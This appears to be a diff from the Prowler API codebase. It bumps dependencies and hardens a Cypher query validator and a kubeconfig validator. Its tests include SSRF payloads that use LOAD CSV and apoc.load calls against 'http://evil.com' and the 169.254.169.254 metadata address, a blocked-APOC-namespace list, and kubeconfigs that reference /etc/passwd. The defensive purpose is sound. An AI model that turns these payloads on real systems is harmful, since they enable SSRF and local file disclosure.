+ARG POWERSHELL_SHA256_AMD64=db85ae1f45005ffd20e456890585167257151fa99406ccd7ab344f7cf3a766fd
+ARG POWERSHELL_SHA256_ARM64=29eb382cd510e4bd246902650ff6cf9f3b56f959d1bd0be75e0a1e425177c831
 ARG ZIZMOR_SHA256_AMD64=a8000f3c683319a523d3b20df0e75457ba591f049cfcbfa98966631b56733c03
 ARG ZIZMOR_SHA256_ARM64=d66e37ef8a375fb07939c630ebf9709a6e0f20242bdc3faf672a7ed97e0b768d

@@ -125,7 +125,7 @@ RUN mkdir -p /tmp/prowler_api_output
 COPY --chown=prowler:prowler pyproject.toml uv.lock ./

 RUN pip install --no-cache-dir --upgrade pip && \
-    pip install --no-cache-dir uv==0.12.0
+    pip install --no-cache-dir uv==0.13.4

 ENV PATH="/home/prowler/.local/bin:$PATH"

@@ -134,8 +134,10 @@ RUN uv sync --locked --no-install-project && \
    rm -rf ~/.cache/uv

 # Invoked as a module so the base image's Python minor version is not baked
-# into a site-packages path.
-RUN .venv/bin/python -m prowler.providers.m365.lib.powershell.m365_powershell
+# into a site-packages path. Drop the MicrosoftTeams build SBOM: Trivy reports the npm
+# tooling it declares as installed, though none ships (see .trivyignore.yaml).
+RUN .venv/bin/python -m prowler.providers.m365.lib.powershell.m365_powershell && \
+    rm -rf /home/prowler/.local/share/powershell/Modules/MicrosoftTeams/*/_manifest

 USER root

@@ -0,0 +1 @@
+Python base image from 3.12.15 to 3.12.16 in the API container image, patching CVE-2026-115557
@@ -1 +0,0 @@
-`django` from 5.1.15 to 5.2.17, patching CVE-2026-15307
@@ -1 +0,0 @@
-`dulwich` from 1.2.5 to 1.2.9, patching GHSA-5fqc-mrg8-w798, GHSA-8mcx-5rqc-vhmf, GHSA-8w8g-wq8h-fq33 and GHSA-cm62-gvxx-vmxx
@@ -1 +0,0 @@
-OCI provider secrets keep the region as home region for credential validation and scans, instead of always using us-ashburn-1
@@ -1 +0,0 @@
-`pyjwt` from 2.13.0 to 2.14.0, patching GHSA-ffc3-869f-jxw9
@@ -1 +0,0 @@
-`pymongo` from 4.15.1 to 4.18.2, patching CVE-2026-96748 and CVE-2026-96749
@@ -1 +0,0 @@
-Sentry error events no longer include user identity, IP addresses, cookies, headers or request bodies, which could contain personal data or provider credentials
@@ -1 +0,0 @@
-`urllib3` from 2.7.0 to 2.8.0, patching CVE-2026-97687 and CVE-2026-97689
@@ -26,7 +26,7 @@ dependencies = [
  "celery (==5.6.2)",
  "dj-rest-auth[with_social,jwt] (==7.0.1)",
  "django (==5.2.17)",
-  "django-allauth[saml] (==65.15.0)",
+  "django-allauth[saml] (==65.19.7)",
  "django-celery-beat (==2.9.0)",
  "django-celery-results (==2.6.0)",
  "django-cors-headers==4.4.0",
@@ -34,7 +34,7 @@ dependencies = [
  "django-filter==24.3",
  "django-guid==3.5.0",
  "django-postgres-extra (==2.0.9)",
-  "djangorestframework==3.15.2",
+  "djangorestframework==3.18.3",
  "djangorestframework-jsonapi==7.0.2",
  "djangorestframework-simplejwt (==5.5.1)",
  "drf-nested-routers (==0.95.0)",
@@ -71,7 +71,7 @@ name = "prowler-api"
 package-mode = false
 # Needed for the SDK compatibility
 requires-python = ">=3.11,<3.13"
-version = "1.46.0"
+version = "1.49.0"

 # Shared ruff baseline (kept in sync with mcp_server/pyproject.toml).
 # target-version tracks this project's lowest supported Python.
@@ -100,7 +100,7 @@ constraint-dependencies = [
  "aiobotocore==2.25.1",
  "aiofiles==24.1.0",
  "aiohappyeyeballs==2.6.1",
-  "aiohttp==3.14.3",
+  "aiohttp==3.14.5",
  "aioitertools==0.13.0",
  "aiosignal==1.4.0",
  "alibabacloud-actiontrail20200706==2.4.1",
@@ -196,7 +196,7 @@ constraint-dependencies = [
  "botocore==1.40.61",
  "cartography==0.138.1",
  "celery==5.6.2",
-  "certifi==2026.1.4",
+  "certifi==2026.10.19",
  "cffi==2.0.0",
  "charset-normalizer==3.4.4",
  "circuitbreaker==2.1.3",
@@ -223,7 +223,7 @@ constraint-dependencies = [
  "distro==1.9.0",
  "dj-rest-auth==7.0.1",
  "django==5.2.17",
-  "django-allauth==65.15.0",
+  "django-allauth==65.19.7",
  "django-celery-beat==2.9.0",
  "django-celery-results==2.6.0",
  "django-cors-headers==4.4.0",
@@ -234,10 +234,10 @@ constraint-dependencies = [
  "django-postgres-extra==2.0.9",
  "django-silk==5.3.2",
  "django-timezone-field==7.2.1",
-  "djangorestframework==3.15.2",
+  "djangorestframework==3.18.3",
  "djangorestframework-jsonapi==7.0.2",
  "djangorestframework-simplejwt==5.5.1",
-  "dnspython==2.8.0",
+  "dnspython==2.9.0",
  "docker==7.1.0",
  "dogpile-cache==1.5.0",
  "dparse==0.6.4",
@@ -337,7 +337,7 @@ constraint-dependencies = [
  "nest-asyncio==1.6.0",
  "nltk==3.9.4",
  "numpy==2.2.6",
-  "oauthlib==3.3.1",
+  "oauthlib==4.0.0",
  "oci==2.184.1",
  "openai==1.109.1",
  "openstacksdk==4.2.0",
@@ -350,7 +350,7 @@ constraint-dependencies = [
  "pagerduty==6.1.0",
  "pandas==2.2.3",
  "pbr==7.0.3",
-  "pillow==12.3.0",
+  "pillow==13.0.0",
  "pkginfo==1.12.1.2",
  "platformdirs==4.5.1",
  "plotly==6.5.2",
@@ -453,7 +453,7 @@ constraint-dependencies = [
  "xlsxwriter==3.2.9",
  "xmlsec==1.3.17",
  "xmltodict==1.0.2",
-  "yarl==1.22.0",
+  "yarl==1.25.1",
  "zipp==3.23.0",
  "zope-event==6.1",
  "zope-interface==8.2",
@@ -485,7 +485,7 @@ override-dependencies = [
  "okta==3.4.2",
  # huaweicloudsdkcore (via prowler) pins pymongo==4.15.1 exactly; CVE-2026-96748 and
  # CVE-2026-96749 are fixed in 4.18.2. Only bson types are used, so the override is safe.
-  "pymongo==4.18.2",
+  "pymongo==4.18.3",
  # prowler requires cryptography==50.0.0. Two api-only dependencies still cap it below
  # 49 and cannot move yet: msal, pinned exactly by azure-cli-core (2.83.0 -> 1.35.0b1,
  # 2.89.1 -> 1.36.0, both <49; cartography needs azure-cli-core), and workos 8.3.0
@@ -12,7 +12,7 @@ Two responsibilities:

 Label-injection pipeline:

-1. **Protect** string literals and line comments (placeholder replacement).
+1. **Protect** string literals and comments (placeholder replacement).
 2. **Split** by top-level clause keywords to track clause context.
 3. **Pass A** - inject into *labeled* node patterns in ALL segments.
 4. **Pass B** - inject into *bare* node patterns in MATCH segments only.
@@ -25,10 +25,12 @@ from rest_framework.exceptions import ValidationError
 from tasks.jobs.attack_paths.config import get_provider_label

 # Step 1 - String / comment protection
-# Single combined regex: strings first, then line comments
+# Single combined regex: strings first, then line and block comments
 # The regex engine finds the leftmost match, so a string like 'https://prowler.com'
 # is consumed as a string before the // inside it can match as a comment
-_PROTECTED_RE = re.compile(r"'(?:[^'\\]|\\.)*'|\"(?:[^\"\\]|\\.)*\"|//[^\n]*")
+_PROTECTED_RE = re.compile(
+    r"'(?:[^'\\]|\\.)*'|\"(?:[^\"\\]|\\.)*\"|//[^\n]*|/\*[\s\S]*?\*/"
+)

 # Step 2 - Clause splitting
 # `OPTIONAL MATCH` must come before `MATCH` to avoid partial matching
@@ -143,18 +145,26 @@ def inject_label(cypher: str, label: str) -> str:

 # Patterns that indicate SSRF or dangerous procedure calls
 # Defense-in-depth layer - the primary control is `neo4j.READ_ACCESS`
+# Neo4j accepts whitespace (and therefore comments) around the dots of a
+# qualified procedure name, so `apoc . load` is `apoc.load`.
+_BLOCKED_APOC_NAMESPACES = (
+    "load",
+    "import",
+    "export",
+    "cypher",
+    "systemdb",
+    "config",
+    "periodic",
+    "do",
+    "trigger",
+    "custom",
+)
 _BLOCKED_PATTERNS = [
    re.compile(r"\bLOAD\s+CSV\b", re.IGNORECASE),
-    re.compile(r"\bapoc\.load\b", re.IGNORECASE),
-    re.compile(r"\bapoc\.import\b", re.IGNORECASE),
-    re.compile(r"\bapoc\.export\b", re.IGNORECASE),
-    re.compile(r"\bapoc\.cypher\b", re.IGNORECASE),
-    re.compile(r"\bapoc\.systemdb\b", re.IGNORECASE),
-    re.compile(r"\bapoc\.config\b", re.IGNORECASE),
-    re.compile(r"\bapoc\.periodic\b", re.IGNORECASE),
-    re.compile(r"\bapoc\.do\b", re.IGNORECASE),
-    re.compile(r"\bapoc\.trigger\b", re.IGNORECASE),
-    re.compile(r"\bapoc\.custom\b", re.IGNORECASE),
+    *(
+        re.compile(rf"\bapoc\s*\.\s*{namespace}\b", re.IGNORECASE)
+        for namespace in _BLOCKED_APOC_NAMESPACES
+    ),
 ]


@@ -162,10 +172,11 @@ def validate_custom_query(cypher: str) -> None:
    """Reject queries containing known SSRF or dangerous procedure patterns.

    Raises ValidationError if a blocked pattern is found.
-    String literals and comments are stripped before matching to avoid
-    false positives.
+    String literals and comments are replaced by a space before matching:
+    literals cannot trigger false positives and a comment cannot split a
+    keyword pair such as `LOAD /**/ CSV`, which Neo4j still parses as `LOAD CSV`.
    """
-    stripped = _PROTECTED_RE.sub("", cypher)
+    stripped = _PROTECTED_RE.sub(" ", cypher)
    for pattern in _BLOCKED_PATTERNS:
        if pattern.search(stripped):
            raise ValidationError({"query": "Query contains a blocked operation"})
@@ -45,6 +45,10 @@ class SinkDatabase(Protocol):
        parameters: dict[str, Any] | None = None,
    ) -> neo4j.graph.Graph: ...

+    def is_persisted_element_id(self, element_id: str) -> bool:
+        """Whether an element id belongs to a stored entity rather than one minted at query time."""
+        return True
+
    def create_database(self, database: str) -> None: ...

    def drop_database(self, database: str) -> None: ...
@@ -7,6 +7,7 @@ path while phase-1 drains tenant DBs.

 import atexit
 import logging
+import re
 import threading
 import time
 from collections.abc import Iterator
@@ -186,6 +187,13 @@ class Neo4jSink(SinkDatabase):

            return session.execute_read(_run)

+    # APOC virtual nodes report a bare negative number and virtual
+    # relationships a random UUID, neither in the stored-entity format.
+    _PERSISTED_ELEMENT_ID_RE = re.compile(r"^\d+:[^:]+:\d+$")
+
+    def is_persisted_element_id(self, element_id: str) -> bool:
+        return bool(self._PERSISTED_ELEMENT_ID_RE.match(element_id))
+
    def create_database(self, database: str) -> None:
        with self.get_session() as session:
            session.run(
@@ -15,6 +15,7 @@ from api.attack_paths.queries.schema import (
    RAW_SCHEMA_URL,
    get_cartography_schema_query,
 )
+from api.attack_paths.sink.base import SinkDatabase
 from api.models import AttackPathsScan
 from config.custom_logging import BackendLogger
 from config.env import env
@@ -135,7 +136,7 @@ def execute_query(
            cypher = inject_provider_label(cypher, provider_id)

        graph = backend.execute_read_query(database_name, cypher, parameters)
-        return _serialize_graph(graph, provider_id)
+        return _serialize_graph(graph, provider_id, backend)

    except graph_database.WriteQueryNotAllowedException:
        raise PermissionDenied(
@@ -174,6 +175,8 @@ def execute_custom_query(
    # 1. `neo4j.READ_ACCESS` - prevents mutations at the driver level
    # 2. `inject_provider_label()` - regex-based label injection scopes node patterns
    # 3. `_serialize_graph()` - post-query filter drops nodes without the provider label
+    #    and any node or relationship the backend did not store (APOC virtual
+    #    entities can carry an arbitrary label and arbitrary properties)
    # 4. `USING QUERY:TIMEOUTMILLISECONDS` on Neptune - server-side runaway cutoff
    #
    # Layer 2 is best-effort (regex can't fully parse Cypher);
@@ -193,7 +196,7 @@ def execute_custom_query(

    try:
        graph = backend.execute_read_query(database_name, cypher, None)
-        serialized = _serialize_graph(graph, provider_id)
+        serialized = _serialize_graph(graph, provider_id, backend)
        return _truncate_graph(serialized)

    except graph_database.ClientStatementException as exc:
@@ -265,13 +268,15 @@ def _truncate_graph(graph: dict[str, Any]) -> dict[str, Any]:
    return graph


-def _serialize_graph(graph, provider_id: str) -> dict[str, Any]:
+def _serialize_graph(graph, provider_id: str, backend: SinkDatabase) -> dict[str, Any]:
    provider_label = get_provider_label(provider_id)

    nodes = []
    kept_node_ids = set()
    for node in graph.nodes:
-        if provider_label not in node.labels:
+        if provider_label not in node.labels or not backend.is_persisted_element_id(
+            node.element_id
+        ):
            continue

        kept_node_ids.add(node.element_id)
@@ -286,7 +291,7 @@ def _serialize_graph(graph, provider_id: str) -> dict[str, Any]:
    filtered_count = len(graph.nodes) - len(nodes)
    if filtered_count > 0:
        logger.debug(
-            f"Filtered {filtered_count} nodes without provider label {provider_label}"
+            f"Filtered {filtered_count} nodes without provider label {provider_label} or not stored"
        )

    relationships = []
@@ -294,6 +299,7 @@ def _serialize_graph(graph, provider_id: str) -> dict[str, Any]:
        if (
            relationship.start_node.element_id not in kept_node_ids
            or relationship.end_node.element_id not in kept_node_ids
+            or not backend.is_persisted_element_id(relationship.element_id)
        ):
            continue

@@ -1,7 +1,7 @@
 openapi: 3.0.3
 info:
  title: Prowler API
-  version: 1.46.0
+  version: 1.49.0
  description: |-
    Prowler API specification.

@@ -321,7 +321,7 @@ def test_serialize_graph_filters_by_provider_label(attack_paths_graph_stub_class
        relationships=[rel_keep, rel_drop_orphaned],
    )

-    result = views_helpers._serialize_graph(graph, provider_id)
+    result = views_helpers._serialize_graph(graph, provider_id, _all_persisted())

    assert len(result["nodes"]) == 1
    assert result["nodes"][0]["id"] == "n1"
@@ -329,6 +329,71 @@ def test_serialize_graph_filters_by_provider_label(attack_paths_graph_stub_class
    assert result["relationships"][0]["id"] == "r1"


+def _all_persisted():
+    return SimpleNamespace(is_persisted_element_id=lambda element_id: True)
+
+
+def test_serialize_graph_drops_virtual_entities(attack_paths_graph_stub_classes):
+    provider_id = "provider-keep"
+    plabel = get_provider_label(provider_id)
+    stored_ids = {"n1", "n2", "r1"}
+    backend = SimpleNamespace(
+        is_persisted_element_id=lambda element_id: element_id in stored_ids
+    )
+
+    node_1 = attack_paths_graph_stub_classes.Node("n1", ["AWSAccount", plabel], {})
+    node_2 = attack_paths_graph_stub_classes.Node("n2", ["AWSRole", plabel], {})
+    # apoc.create.vNode can carry the provider label and any payload
+    node_virtual = attack_paths_graph_stub_classes.Node(
+        "-1", ["AWSAccount", plabel], {"body": "fetched"}
+    )
+
+    rel_stored = attack_paths_graph_stub_classes.Relationship(
+        "r1", "OWNS", node_1, node_2, {}
+    )
+    # apoc.create.vRelationship between two stored nodes passes the endpoint check
+    rel_virtual = attack_paths_graph_stub_classes.Relationship(
+        "45cc10ea-9618-47fb-abaa-8e82a58d6b40", "V", node_1, node_2, {"body": "fetched"}
+    )
+    rel_to_virtual = attack_paths_graph_stub_classes.Relationship(
+        "r2", "OWNS", node_1, node_virtual, {}
+    )
+
+    graph = SimpleNamespace(
+        nodes=[node_1, node_2, node_virtual],
+        relationships=[rel_stored, rel_virtual, rel_to_virtual],
+    )
+
+    result = views_helpers._serialize_graph(graph, provider_id, backend)
+
+    assert [node["id"] for node in result["nodes"]] == ["n1", "n2"]
+    assert [rel["id"] for rel in result["relationships"]] == ["r1"]
+    assert "fetched" not in str(result)
+
+
+@pytest.mark.parametrize(
+    "element_id, persisted",
+    [
+        ("4:9f1d9d76-bb08-478c-b25d-7e577f967732:0", True),
+        ("5:9f1d9d76-bb08-478c-b25d-7e577f967732:12", True),
+        ("-2", False),
+        ("45cc10ea-9618-47fb-abaa-8e82a58d6b40", False),
+        ("", False),
+    ],
+    ids=[
+        "stored_node",
+        "stored_relationship",
+        "virtual_node",
+        "virtual_relationship",
+        "empty",
+    ],
+)
+def test_neo4j_sink_is_persisted_element_id(element_id, persisted):
+    from api.attack_paths.sink.neo4j import Neo4jSink
+
+    assert Neo4jSink().is_persisted_element_id(element_id) is persisted
+
+
 # -- serialize_graph_as_text -------------------------------------------------------


@@ -222,6 +222,12 @@ class TestProtection:
        result = _inject(cypher)
        assert result.count(LABEL) == 1

+    def test_block_comment_with_node_pattern(self):
+        cypher = "MATCH (n:AWSRole) /* (m:Fake)\n(k) */ RETURN n"
+        result = _inject(cypher)
+        assert "/* (m:Fake)\n(k) */" in result
+        assert result.count(LABEL) == 1
+

 # ---------------------------------------------------------------------------
 # Clause splitting
@@ -439,6 +445,35 @@ class TestValidation:

        assert "blocked operation" in str(exc.value.detail)

+    @pytest.mark.parametrize(
+        "cypher",
+        [
+            "LOAD /* c */ CSV FROM 'http://169.254.169.254/' AS x RETURN x",
+            "LOAD/**/CSV FROM 'http://evil.com' AS x RETURN x",
+            "LOAD /* a */ /* b */ CSV FROM 'http://evil.com' AS x RETURN x",
+            "LOAD /* multi\nline */ CSV FROM 'http://evil.com' AS x RETURN x",
+            "CALL apoc./**/load.json('http://evil.com/') YIELD value RETURN value",
+            "CALL apoc . load.json('http://evil.com/') YIELD value RETURN value",
+            "CALL apoc.load . json('http://evil.com/') YIELD value RETURN value",
+            "CALL apoc\n.cypher.run('CREATE (n)', {}) YIELD value RETURN value",
+        ],
+        ids=[
+            "LOAD_CSV_block_comment",
+            "LOAD_CSV_empty_block_comment",
+            "LOAD_CSV_two_block_comments",
+            "LOAD_CSV_multiline_block_comment",
+            "apoc.load_block_comment",
+            "apoc.load_spaces_around_dot",
+            "apoc.load_spaces_before_procedure",
+            "apoc.cypher_newline_before_dot",
+        ],
+    )
+    def test_rejects_blocked_patterns_split_by_comments_or_whitespace(self, cypher):
+        with pytest.raises(ValidationError) as exc:
+            validate_custom_query(cypher)
+
+        assert "blocked operation" in str(exc.value.detail)
+
    @pytest.mark.parametrize(
        "cypher",
        [
@@ -448,6 +483,8 @@ class TestValidation:
            "CALL apoc.create.vNode(['Label'], {}) YIELD node RETURN node",
            "MATCH (n) WHERE n.name = 'apoc.load.json' RETURN n",
            'MATCH (n) WHERE n.description = "LOAD CSV is cool" RETURN n',
+            "MATCH (n) /* LOAD CSV is documented here */ RETURN n",
+            "MATCH (n) WHERE n.note = '/* LOAD CSV */' RETURN n",
        ],
        ids=[
            "simple_match",
@@ -456,6 +493,8 @@ class TestValidation:
            "apoc_virtual_node",
            "apoc_load_inside_single_quotes",
            "load_csv_inside_double_quotes",
+            "load_csv_inside_block_comment",
+            "block_comment_inside_string",
        ],
    )
    def test_allows_clean_queries(self, cypher):
@@ -12,6 +12,7 @@ from api.models import (
    ProviderSecret,
    Role,
    RoleProviderGroupRelationship,
+    SAMLConfiguration,
    Scan,
    User,
    UserRoleRelationship,
@@ -1896,6 +1897,90 @@ class TestUserRoleLinkPermissions:
        assert response.status_code == status.HTTP_403_FORBIDDEN


+SAML_METADATA_XML = """<?xml version='1.0' encoding='UTF-8'?>
+<md:EntityDescriptor entityID='TEST' xmlns:md='urn:oasis:names:tc:SAML:2.0:metadata'>
+<md:IDPSSODescriptor WantAuthnRequestsSigned='false' protocolSupportEnumeration='urn:oasis:names:tc:SAML:2.0:protocol'>
+    <md:KeyDescriptor use='signing'>
+    <ds:KeyInfo xmlns:ds='http://www.w3.org/2000/09/xmldsig#'>
+        <ds:X509Data>
+        <ds:X509Certificate>TEST</ds:X509Certificate>
+        </ds:X509Data>
+    </ds:KeyInfo>
+    </md:KeyDescriptor>
+    <md:NameIDFormat>urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress</md:NameIDFormat>
+    <md:SingleSignOnService Binding='urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST' Location='https://TEST/sso/saml'/>
+    <md:SingleSignOnService Binding='urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect' Location='https://TEST/sso/saml'/>
+</md:IDPSSODescriptor>
+</md:EntityDescriptor>
+"""
+
+
+@pytest.mark.django_db
+class TestSAMLConfigurationPermissions:
+    def _create(self, client, email_domain):
+        return client.post(
+            reverse("saml-config-list"),
+            data={"email_domain": email_domain, "metadata_xml": SAML_METADATA_XML},
+            format="json",
+        )
+
+    def test_manage_integrations_only_cannot_create(
+        self, authenticated_client_rbac_manage_integrations_only
+    ):
+        response = self._create(
+            authenticated_client_rbac_manage_integrations_only,
+            "integrations-only-create.com",
+        )
+
+        assert response.status_code == status.HTTP_403_FORBIDDEN
+        assert not SAMLConfiguration.objects.filter(
+            email_domain="integrations-only-create.com"
+        ).exists()
+
+    def test_manage_integrations_only_cannot_read_or_replace(
+        self, authenticated_client_rbac_manage_integrations_only
+    ):
+        client = authenticated_client_rbac_manage_integrations_only
+        tenant = Membership.objects.filter(user=client.user).first().tenant
+        config = SAMLConfiguration.objects.create(
+            tenant_id=str(tenant.id),
+            email_domain="integrations-only-replace.com",
+            metadata_xml=SAML_METADATA_XML,
+        )
+
+        list_response = client.get(reverse("saml-config-list"))
+        patch_response = client.patch(
+            reverse("saml-config-detail", kwargs={"pk": config.id}),
+            data={"metadata_xml": SAML_METADATA_XML},
+            format="json",
+        )
+        delete_response = client.delete(
+            reverse("saml-config-detail", kwargs={"pk": config.id})
+        )
+
+        assert list_response.status_code == status.HTTP_403_FORBIDDEN
+        assert patch_response.status_code == status.HTTP_403_FORBIDDEN
+        assert delete_response.status_code == status.HTTP_403_FORBIDDEN
+        assert SAMLConfiguration.objects.filter(id=config.id).exists()
+
+    def test_manage_account_only_can_create_and_delete(
+        self, authenticated_client_rbac_manage_account
+    ):
+        client = authenticated_client_rbac_manage_account
+
+        create_response = self._create(client, "account-only.com")
+
+        assert create_response.status_code == status.HTTP_201_CREATED
+        config = SAMLConfiguration.objects.get(email_domain="account-only.com")
+
+        delete_response = client.delete(
+            reverse("saml-config-detail", kwargs={"pk": config.id})
+        )
+
+        assert delete_response.status_code == status.HTTP_204_NO_CONTENT
+        assert not SAMLConfiguration.objects.filter(id=config.id).exists()
+
+
@pytest.mark.django_db
 class TestCrossTenantRoleLeak:
    """Regression tests for get_role() cross-tenant privilege leak.
@@ -5,6 +5,8 @@ from api.v1.serializer_utils.integrations import (
 )
 from api.v1.serializer_utils.providers import ProviderSecretField
 from api.v1.serializers import (
+    KUBERNETES_KUBECONFIG_INVALID_ERROR,
+    KUBERNETES_KUBECONFIG_NON_INLINE_CREDENTIALS_ERROR,
    ImageProviderSecret,
    IntegrationSerializer,
    IntegrationUpdateSerializer,
@@ -340,6 +342,278 @@ current-context: test-context
        assert not serializer.is_valid()
        assert "kubeconfig_content" in serializer.errors

+    @staticmethod
+    def _kubeconfig(user_extra="", cluster_extra=""):
+        return f"""
+apiVersion: v1
+kind: Config
+clusters:
+  - name: test-cluster
+    cluster:
+      server: https://kubernetes.example.test
+{cluster_extra}
+users:
+  - name: test-user
+    user:
+      token: test-token
+{user_extra}
+contexts:
+  - name: test-context
+    context:
+      cluster: test-cluster
+      user: test-user
+current-context: test-context
+"""
+
+    @staticmethod
+    def _assert_rejected_without_echo(
+        kubeconfig_content, leaked_value, expected_message
+    ):
+        serializer = KubernetesProviderSecret(
+            data={"kubeconfig_content": kubeconfig_content}
+        )
+
+        assert serializer.is_valid() is False
+        assert serializer.errors["kubeconfig_content"] == [expected_message]
+        assert leaked_value not in str(serializer.errors)
+
+    def test_inline_token_with_certificate_authority_data_is_accepted(self):
+        kubeconfig_content = self._kubeconfig(
+            cluster_extra="      certificate-authority-data: dGVzdA=="
+        )
+
+        serializer = KubernetesProviderSecret(
+            data={"kubeconfig_content": kubeconfig_content}
+        )
+
+        assert serializer.is_valid()
+
+    def test_kubeconfig_with_token_file_is_rejected(self):
+        self._assert_rejected_without_echo(
+            self._kubeconfig(user_extra="      tokenFile: /etc/passwd"),
+            "/etc/passwd",
+            KUBERNETES_KUBECONFIG_NON_INLINE_CREDENTIALS_ERROR,
+        )
+
+    def test_kubeconfig_with_client_certificate_file_is_rejected(self):
+        self._assert_rejected_without_echo(
+            self._kubeconfig(user_extra="      client-certificate: /etc/passwd"),
+            "/etc/passwd",
+            KUBERNETES_KUBECONFIG_NON_INLINE_CREDENTIALS_ERROR,
+        )
+
+    def test_kubeconfig_with_client_key_file_is_rejected(self):
+        self._assert_rejected_without_echo(
+            self._kubeconfig(user_extra="      client-key: /etc/passwd"),
+            "/etc/passwd",
+            KUBERNETES_KUBECONFIG_NON_INLINE_CREDENTIALS_ERROR,
+        )
+
+    def test_kubeconfig_with_certificate_authority_file_is_rejected(self):
+        self._assert_rejected_without_echo(
+            self._kubeconfig(cluster_extra="      certificate-authority: /etc/passwd"),
+            "/etc/passwd",
+            KUBERNETES_KUBECONFIG_NON_INLINE_CREDENTIALS_ERROR,
+        )
+
+    def test_kubeconfig_with_cluster_proxy_url_is_rejected(self):
+        self._assert_rejected_without_echo(
+            self._kubeconfig(cluster_extra="      proxy-url: http://proxy.evil.test"),
+            "proxy.evil.test",
+            KUBERNETES_KUBECONFIG_NON_INLINE_CREDENTIALS_ERROR,
+        )
+
+    @pytest.mark.parametrize("provider_name", ["gcp", "oidc", "azure"])
+    def test_kubeconfig_with_any_auth_provider_is_rejected(self, provider_name):
+        self._assert_rejected_without_echo(
+            self._kubeconfig(
+                user_extra=(
+                    "      auth-provider:\n"
+                    f"        name: {provider_name}\n"
+                    "        config:\n"
+                    "          idp-issuer-url: https://idp.evil.test"
+                )
+            ),
+            "idp.evil.test",
+            KUBERNETES_KUBECONFIG_NON_INLINE_CREDENTIALS_ERROR,
+        )
+
+    def test_kubeconfig_with_unknown_user_key_is_rejected(self):
+        self._assert_rejected_without_echo(
+            self._kubeconfig(user_extra="      bogus: /etc/passwd"),
+            "/etc/passwd",
+            KUBERNETES_KUBECONFIG_NON_INLINE_CREDENTIALS_ERROR,
+        )
+
+    def test_kubeconfig_with_unknown_cluster_key_is_rejected(self):
+        self._assert_rejected_without_echo(
+            self._kubeconfig(cluster_extra="      bogus: /etc/passwd"),
+            "/etc/passwd",
+            KUBERNETES_KUBECONFIG_NON_INLINE_CREDENTIALS_ERROR,
+        )
+
+    def test_kubeconfig_with_allowlisted_cluster_keys_is_accepted(self):
+        serializer = KubernetesProviderSecret(
+            data={
+                "kubeconfig_content": self._kubeconfig(
+                    cluster_extra=(
+                        "      certificate-authority-data: dGVzdA==\n"
+                        "      insecure-skip-tls-verify: false\n"
+                        "      tls-server-name: kubernetes.example.test\n"
+                        "      disable-compression: true\n"
+                        "      extensions: []"
+                    )
+                )
+            }
+        )
+
+        assert serializer.is_valid(), serializer.errors
+
+    def test_kubeconfig_with_non_list_clusters_is_rejected(self):
+        kubeconfig_content = """
+apiVersion: v1
+kind: Config
+clusters:
+  name: /etc/passwd
+"""
+        self._assert_rejected_without_echo(
+            kubeconfig_content, "/etc/passwd", KUBERNETES_KUBECONFIG_INVALID_ERROR
+        )
+
+    def test_kubeconfig_with_non_dict_cluster_entry_is_rejected(self):
+        kubeconfig_content = """
+apiVersion: v1
+kind: Config
+clusters:
+  - /etc/passwd
+"""
+        self._assert_rejected_without_echo(
+            kubeconfig_content, "/etc/passwd", KUBERNETES_KUBECONFIG_INVALID_ERROR
+        )
+
+    def test_kubeconfig_with_non_dict_cluster_value_is_rejected(self):
+        kubeconfig_content = """
+apiVersion: v1
+kind: Config
+clusters:
+  - name: test-cluster
+    cluster: /etc/passwd
+"""
+        self._assert_rejected_without_echo(
+            kubeconfig_content, "/etc/passwd", KUBERNETES_KUBECONFIG_INVALID_ERROR
+        )
+
+    @pytest.mark.parametrize(
+        "user_extra",
+        [
+            "      token: test-token",
+            "      username: test-user\n      password: test-password",
+            "      client-certificate-data: dGVzdA==\n      client-key-data: dGVzdA==",
+            "      token: test-token\n      as: other-user",
+            "      token: test-token\n      as-uid: 1234",
+            "      token: test-token\n      as-groups:\n        - group-a",
+            "      token: test-token\n      as-user-extra:\n        scopes:\n          - read",
+        ],
+        ids=[
+            "token",
+            "username-password",
+            "client-cert-data",
+            "as",
+            "as-uid",
+            "as-groups",
+            "as-user-extra",
+        ],
+    )
+    def test_kubeconfig_with_allowlisted_user_keys_is_accepted(self, user_extra):
+        kubeconfig_content = f"""
+apiVersion: v1
+kind: Config
+clusters:
+  - name: test-cluster
+    cluster:
+      server: https://kubernetes.example.test
+      certificate-authority-data: dGVzdA==
+users:
+  - name: test-user
+    user:
+{user_extra}
+contexts:
+  - name: test-context
+    context:
+      cluster: test-cluster
+      user: test-user
+current-context: test-context
+"""
+
+        serializer = KubernetesProviderSecret(
+            data={"kubeconfig_content": kubeconfig_content}
+        )
+
+        assert serializer.is_valid()
+
+    @pytest.mark.parametrize(
+        "kubeconfig_content",
+        [
+            """
+apiVersion: v1
+kind: Config
+clusters:
+  - name: test-cluster
+    cluster:
+      server: https://kubernetes.example.test
+users:
+  - name: good-user
+    user:
+      token: test-token
+  - name: bad-user
+    user:
+      tokenFile: /etc/passwd
+""",
+            """
+apiVersion: v1
+kind: Config
+clusters:
+  - name: good-cluster
+    cluster:
+      server: https://kubernetes.example.test
+  - name: bad-cluster
+    cluster:
+      server: https://kubernetes.example.test
+      certificate-authority: /etc/passwd
+users:
+  - name: test-user
+    user:
+      token: test-token
+""",
+        ],
+        ids=["second-user", "second-cluster"],
+    )
+    def test_kubeconfig_with_bad_second_entry_is_rejected(self, kubeconfig_content):
+        self._assert_rejected_without_echo(
+            kubeconfig_content,
+            "/etc/passwd",
+            KUBERNETES_KUBECONFIG_NON_INLINE_CREDENTIALS_ERROR,
+        )
+
+    def test_kubeconfig_with_indented_document_is_rejected(self):
+        kubeconfig_content = (
+            "  wrapper:\n"
+            "  users:\n"
+            "  - name: u\n"
+            "    user:\n"
+            "      tokenFile: /etc/passwd\n"
+            "  clusters:\n"
+            "  - name: c\n"
+            "    cluster:\n"
+            "      server: https://example.test\n"
+        )
+
+        self._assert_rejected_without_echo(
+            kubeconfig_content,
+            "/etc/passwd",
+            KUBERNETES_KUBECONFIG_NON_INLINE_CREDENTIALS_ERROR,
+        )
+
    def test_malformed_kubeconfig_is_rejected(self):
        serializer = KubernetesProviderSecret(
            data={"kubeconfig_content": "apiVersion: ["}
@@ -14,6 +14,7 @@ from api.utils import (
    return_prowler_provider,
    validate_invitation,
 )
+from api.v1.serializers import KUBERNETES_KUBECONFIG_NON_INLINE_CREDENTIALS_ERROR
 from prowler.providers.alibabacloud.alibabacloud_provider import AlibabacloudProvider
